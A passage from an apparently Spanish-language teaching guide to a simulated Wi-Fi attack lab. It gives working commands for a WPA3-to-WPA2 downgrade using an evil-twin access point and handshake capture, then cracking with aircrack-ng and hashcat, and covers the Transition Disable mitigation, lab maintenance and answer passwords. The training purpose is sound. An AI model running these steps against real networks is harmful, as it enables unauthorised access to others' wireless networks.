BSSID_REAL=<BSSID_DG>

# Config del gemelo: MISMO SSID, solo WPA2, MISMA contraseña NO hace falta
# (basta con que el cliente envíe el M2; su MIC se calcula con su clave real)
cat << 'EOF' | sudo tee /tmp/gemelo.conf > /dev/null
interface=wlan1
driver=nl80211
ssid=he_wpa3_dg
hw_mode=g
channel=10
wpa=2
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP
wpa_passphrase=loquesea12345
EOF

# El gemelo registra el intento de conexión del cliente
sudo hostapd -dd /tmp/gemelo.conf 2>&1 | tee /tmp/gemelo.log &

# Capturar en el canal 10
sudo airmon-ng start wlan0 10
sudo airodump-ng -c 10 --bssid $BSSID_REAL -w cap_dg wlan0mon
```

Cuando el cliente reasocie (cada 30 s) y elija el gemelo, enviará M1/M2 WPA2. airodump marcará `WPA handshake`. Basta M1+M2.

> En `mac80211_hwsim` todas las radios se oyen igual, así que el cliente puede seguir prefiriendo el AP real. Si en 1-2 minutos no cae, fuerza la demostración parando un momento el AP legítimo: `sudo ip netns exec ns_ap_dg pkill hostapd` (y redespliega al terminar), o mantén el gemelo corriendo y espera varias reasociaciones.

b) Crackear el M2 robado

```
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b $BSSID_REAL cap_dg-01.cap
# o hashcat
hcxpcapngtool -o dg.22000 cap_dg-01.cap
hashcat -m 22000 dg.22000 /usr/share/wordlists/rockyou.txt
```

Resultado esperado: `babygirl`. El cliente ha calculado el MIC del M2 con la PMK de WPA2 = `PBKDF2(babygirl, SSID)`, que **sí** es crackeable offline, aunque el AP real solo hablara WPA3.

c) La mitigación: Transition Disable

Redespliega activando la bandera y repite el ataque:

```
sudo ./limpia.sh
sudo DG_TRANSITION_DISABLE=1 ./despliegue.sh
```

Ahora el AP real incluye el elemento **Transition Disable** en el handshake. La primera vez que el cliente se conecta por SAE, wpa_supplicant **anota que esta red ya no debe aceptar WPA2** y a partir de ahí rechaza al gemelo. Repitiendo el apartado a), el cliente ya no entrega ningún M2 WPA2: no hay handshake que capturar. Para comprobar que la bandera está puesta:

```
sudo ip netns exec ns_cli_dg wpa_cli -p /var/run/wpa_supplicant_dg -i
wlan_cli_dg status | grep -i mgmt
# Tras conectarse con transition_disable, el cliente fija key_mgmt=SAE y
descarta WPA-PSK
```

Fundamento técnico

- **El downgrade lo habilita el cliente, no el AP.** Un cliente que acepta "WPA2 o WPA3" para un SSID enviará un M2 WPA2 a cualquier AP con ese SSID que solo ofrezca WPA2. El atacante no necesita la contraseña para provocar ese M2: lo calcula el cliente, con su clave real, y su MIC es un verificador offline como en `he_wpa2`.
- **PMF no lo impide.** PMF protege las tramas de gestión (deauth), pero no decide a qué AP se asocia el cliente ni qué AKM negocia. El downgrade ocurre en la asociación, no en un deauth.
- **Transition Disable (WFA, 2020)** es la defensa estándar: un bit que el AP envía dentro del 4-way (protegido) y que indica al cliente que "pegue" la red a WPA3/SAE y no vuelva a aceptar WPA2, WPS ni PMF opcional. Es cosa del cliente recordarlo, por eso la vulnerabilidad vive en el cliente.
- **Mitigación:** no guardar redes en modo mixto cuando el AP ya es WPA3; Transition Disable; y en clientes gestionados, perfiles que fijen SAE y PMF obligatoria.

8.4 El escenario 2 como práctica guiada (sin AP dedicado)

`he_wpa3_dg` ya trae un AP y un cliente para que el downgrade funcione "solo". Si prefieres que el alumno **monte él** todo el ataque (más realista, el AP gemelo lo levanta con su propia interfaz), puede hacerlo contra `he_wpa3_tm` o contra `he_wpa3_dg` con el procedimiento del apartado 8.3.a: el AP gemelo WPA2 en `wlan1`, el deauth (si el objetivo no tiene PMF) o la espera a la reasociación, y el crackeo del M2. La diferencia es solo quién levanta el gemelo: el escenario lo automatiza; la práctica guiada lo pone en manos del alumno.

Mantenimiento: cambiar las claves

- **WPA2:** las claves se guardan como PMK (64 hex) en `despliegue.sh`, en el `hostapd.conf` y en el `wpa.conf` de cada escenario. La PMK depende del SSID, así que se calcula para cada red:

  ```
  ./calculaPMK.py he_wpa2 <nueva_clave>
  ```

  Usa palabras de `rockyou.txt` de 8 a 63 caracteres.

- **WEP:** `wep_key0` en hex. Solo admite 5 o 13 caracteres ASCII (10 o 26 hex):

  ```
  printf 'ilovemyfamily' | od -An -tx1 | tr -d ' \n'
  ```

- **WPS:** no hay nada que cambiar: el PIN y la clave se generan en cada despliegue. La **duración** del ataque se ajusta en `despliegue.sh` con los módulos de `WPS_PIN7` (`RANDOM % 100` en cada mitad). Si los subes, el ataque tarda más; con `% 10000` y `% 1000` tendrías el caso real completo.

- **WPA3 (`he_wpa3_tm`, `he_wpa3`, `he_wpa3_dg`):** SAE no admite PMK en hex, así que la contraseña va en claro (`wpa_passphrase` / `sae_password`) en el `hostapd.conf` de cada uno dentro de `despliegue.sh`. Cámbiala ahí y en el `wpa.conf`/`wpa3.conf`/`wpa2.conf` del cliente correspondiente. Usa palabras de `rockyou.txt`. Para que `he_wpa3` siga siendo didáctico, mantén una clave que esté pronto en el diccionario (el ataque es online y lento).

Tras cambiar una clave, actualiza la tabla de soluciones de esta guía.

Verificación y apagado

```
# Ver APs y namespaces activos
ip netns list
sudo ip netns exec ns_ap_pmkid_nc iw dev

# Watchdog de WPS activo y estado del PIN
pgrep -af LAB_WPS_WATCHDOG
sudo ip netns exec ns_ap_wps hostapd_cli -p /var/run/hostapd_wps -i
wlan_ap_wps wps_get_status

# Clientes WPA3 conectados (key_mgmt y PMF de cada uno)
for ns in tm3:ns_cli3_tm:wlan_cli3_tm:tm3 tm2:ns_cli2_tm:wlan_cli2_tm:tm2 \
          w3:ns_cli_wpa3:wlan_cli_wpa3:wpa3 dg:ns_cli_dg:wlan_cli_dg:dg; do
  IFS=: read -r et nsx ifx ctl <<< "$ns"
  echo -n "$et: "
  sudo ip netns exec "$nsx" wpa_cli -p "/var/run/wpa_supplicant_$ctl" -i
"$ifx" status 2>/dev/null | grep -E 'wpa_state|key_mgmt|pmf' | paste -sd' '
done

# Apagar todo el laboratorio
sudo ./limpia.sh
```

Herramientas usadas

- **aircrack-ng suite** (`airmon-ng`, `airodump-ng`, `aireplay-ng`, `aircrack-ng`)
- **hcxdumptool / hcxpcapngtool / hcxhashtool** (captura, conversión y filtrado de PMKID/handshake)
- **hashcat** (modo `22000` = WPA-PBKDF2-PMKID+EAPOL), en CPU mediante PoCL
- **tshark** (análisis de capturas)
- **reaver / wash** y **bully** (detección de WPS y fuerza bruta del PIN)
- **sae_online.sh** (diccionario *online* contra WPA3-SAE, incluido en el lab)
- **hostapd / wpa_supplicant con SAE** (escenarios WPA3; del sistema, sin parches)